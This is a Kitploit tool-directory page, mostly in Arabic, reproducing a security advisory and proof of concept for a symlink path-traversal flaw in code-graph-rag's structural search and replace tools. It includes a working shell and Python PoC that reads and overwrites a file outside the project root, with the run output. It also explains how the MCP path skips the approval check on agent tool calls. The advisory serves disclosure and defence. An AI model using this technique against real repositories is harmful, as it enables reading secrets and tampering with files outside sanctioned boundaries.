Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
code-graph-rag-PoC — PoC — تتبع الروابط الرمزية لقراءة/كتابة ملفات عشوائية خارج جذر المشروع في code-graph-rag (GHSA-85gg-2gfq-q95m، CVE-2026-87008، CVSS 7.1). | Kitploit
أدوات/GitHubGitHub/squeeze440/code-graph-rag-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالأوراق والأبحاثالتعلم والتعليم
GitHubsqueeze440/code-graph-rag-poc

code-graph-rag-PoC

PoC — تتبع الروابط الرمزية لقراءة/كتابة ملفات عشوائية خارج جذر المشروع في code-graph-rag (GHSA-85gg-2gfq-q95m، CVE-2026-87008، CVSS 7.1).

عرض المستودع
10منذ 20 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

code-graph-rag: تنبيه أمني

حالة CVE: مطلوب، بانتظار التعيين. تم نشر هذا الاكتشاف باسم GHSA-85gg-2gfq-q95m. عند تعيين CVE، سيُعاد تسمية هذا المستودع إلى CVE-YYYY-NNNNN-code-graph-rag-PoC وسيُستبدل هذا الشعار برابط CVE.

الباحثDostxodjayev Abdullox (@squeeze440)
التنبيهGHSA-85gg-2gfq-q95m
CVSS 3.17.1 (مرتفع)
الضعفCWE-59, CWE-22

الملخص

يمكن لمهاجم بعيد/محلي قادر على إدراج رابط رمزي (symbolic link) داخل مستودع شيفرة مصدرية يحلله code-graph-rag أن يتسبب في قيام أداتي structural_search وstructural_replace (المدعومتين بـ AstGrepService، والمكشوفتين كأدوات MCP وكأدوات ذكاء اصطناعي وكيلية) بقراءة — وعبر structural_replace مع dry_run=False — الكتابة فوق ملفات عشوائية خارج جذر المشروع المُهيأ، لأن فحص احتواء المسار في الأداة (should_skip_path/_classify_file) يُنفَّذ معجمياً على المسار غير المُحلَّل ولا يتحقق أبداً من Path.is_symlink() أو يستدعي .resolve()، على عكس مُزخرِف validate_project_path الخاص بالمشروع نفسه (الصحيح) المستخدم في مواضع أخرى.

المنتج

vitali87/code-graph-rag (PyPI: code-graph-rag، CLI: cgr)

الإصدار المُختبَر

الالتزام 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (إصدار pyproject 0.0.550) — الفرع main الحالي وقت الاختبار. تم التأكد من أن هذا الالتزام يحتوي بالفعل على إصلاح التنبيه السابق (GHSA-vvr2-h2jp-838m: اجتياز المسار في read_file المُصفَّح) وبوابة مصادقة bearer الخاصة بـ HTTP-MCP الأحدث (_validate_http_exposure في codebase_rag/mcp/server.py)، لذا فهذه مشكلة منفصلة لا تزال مفتوحة فوق تلك الإصلاحات.

CVSS v3.1 المُقدَّر

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N — 7.0 (مرتفع)

المقاييس غير البديهية:

  • AV:L — الثغرة قابلة للاستغلال بحتة عبر الاستخدام الأساسي المحلي/CLI/stdio-MCP للأداة (تحليل مستودع يحتوي على رابط رمزي مزروع)؛ وهي لا تعتمد على نقل HTTP MCP الاختياري المُقيَّد الآن برمز bearer، لذا يُحتسب المتجه الأساسي على السطح المحلي الموجود دائماً بدلاً من افتراض نشر بعيد.
  • UI:R — يوفّر المهاجم المستودع الخبيث (الرابط الرمزي)، لكن يجب على طرف منفصل (مستخدم، أو وكيل ذكاء اصطناعي يعمل نيابة عنه) تشغيل structural_search/structural_replace فعلياً على ذلك المشروع لكي تحدث القراءة/الكتابة.
  • A:N — تم إثبات الكتابة فوق محتوى ملف بشكل عشوائي؛ لم تُثبَت أي سلسلة تعطّل/DoS للنظام، لذا يُحتسب التوافر بشكل متحفظ كـ None بدلاً من افتراضه.

التفاصيل

يدعم AstGrepService (codebase_rag/tools/ast_grep_service.py) كلاً من أداتي structural_search وstructural_replace الخاصة بـ MCP/الوكيل. وهو يُعدِّد الملفات المرشحة باستخدام os.walk() ويمرّر كل مسار فقط عبر should_skip_path():

  • codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) — يجول في self.project_root باستخدام os.walk()؛ كل مدخل غير دليل يُرجعه os.walk (بما في ذلك رابط رمزي يشير إلى أي مكان على القرص) يُعامَل كملف داخل النطاق.
  • codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) — فحص الاحتواء الوحيد هو should_skip_path(...) متبوعاً بـ abs_path.relative_to(self.project_root) (السطر 82)؛ لا يُحلَّل abs_path أبداً، لذا هذا الفحص معجمي/نصي بحت.
  • codebase_rag/utils/path_utils.py:80-109 (should_skip_path) وcodebase_rag/utils/path_utils.py:35-37 (cached_relative_path) — يحسب rel_path = file_path.relative_to(repo_path) دون استدعاء .resolve() أو Path.is_symlink() أبداً. لا شيء في هذه الدالة يعامل الرابط الرمزي بشكل مختلف عن ملف حقيقي.
  • مصبّ القراءة: codebase_rag/tools/ast_grep_service.py:143-144 (search) — source = self._read(abs_path) يستدعي path.read_text()، الذي يتبعه Python عبر الرابط الرمزي إلى هدفه الحقيقي، أينما كان ذلك الهدف.
  • مصبّ الكتابة: codebase_rag/tools/ast_grep_service.py:187-208 (replace)، وتحديداً السطر 208 — abs_path.write_text(new_source, ...) عندما يكون dry_run=False، متبعاً الرابط الرمزي مرة أخرى وكاتباً فوق محتوى الملف الهدف الحقيقي.

هذا يتعارض مع كيفية تعامل بقية قاعدة الشيفرة مع نفس فئة المخاطر بالضبط. أدوات قراءة/كتابة/تحرير الملفات (file_reader.py، file_writer.py، file_editor.py) كلها محمية بـ validate_project_path (codebase_rag/decorators.py:73-75):

full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)

.resolve() يتبع الروابط الرمزية قبل تنفيذ فحص الاحتواء، لذا ترفض تلك الأدوات بشكل صحيح أي هدف خارج الجذر. وتوثّق absolute_path_within_project_root() الخاصة بـ path_utils.py (codebase_rag/utils/path_utils.py:156-176) نفس المبدأ صراحةً في نصها التوثيقي: "استدعاءات resolve() حاملة للحمل: يُفحص الاحتواء معجمياً، لذا فإن مقطع .. غير المُحلَّل أو رابط رمزي سيهرب من الجذر." — لكن should_skip_path()/AstGrepService، المستخدمَين بواسطة structural_search/structural_replace، لا يطبّقان ذلك النمط أبداً.

قابلية الوصول / تعرّض الأداتين:

  • structural_search (codebase_rag/tools/structural_search.py:24-46) لا يحمل أي علامة requires_approval على الإطلاق — يمكن لنموذج عميل MCP استدعاؤه بشكل مستقل دون أي تأكيد بشري.
  • structural_replace (codebase_rag/tools/structural_editor.py:52-57) مُعلَّم بـ requires_approval=True، لكن تلك العلامة لا يُفرضها إلا حلقة الوكيل الخاصة بـ pydantic-ai. مسار خادم MCP يتجاوزها تماماً: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) يستدعي self._structural_editor_tool.function(...) مباشرةً، وأداة MCP مسجَّلة دون أي مفهوم للموافقة في codebase_rag/mcp/tools.py:369-388 (ToolMetadata الخاصة بـ MCPToolName.STRUCTURAL_REPLACE) — أي عميل MCP قادر على استدعاء الأدوات يمكنه استدعاء structural_replace مع dry_run=False في ضربة واحدة.

إثبات المفهوم

تم التأكد ديناميكياً مقابل الحزمة المثبَّتة (تم تزييف mgclient/pymgclient تماماً كما في PoC التنبيه السابق، لأن عميل Memgraph الأصلي غير مطلوب لهذا المسار من الشيفرة).

mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
    return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
# poc.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService

SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)

matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN'  (read escape)

changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
                       language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())

مخرجات التشغيل الفعلي (/tmp/poc_venv، الحزمة مثبَّتة عبر pip install --no-deps -e . من الالتزام المُختبَر):

[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
    match in reported file='linked_module.py' text='API_TOKEN'
    match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
    structural_search(), attributed to a path 'inside' the project root.

[*] Calling AstGrepService.replace(pattern='API_TOKEN',
    rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
    wrote change to reported file='linked_module.py' matches=2

[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
تنزيل الأداة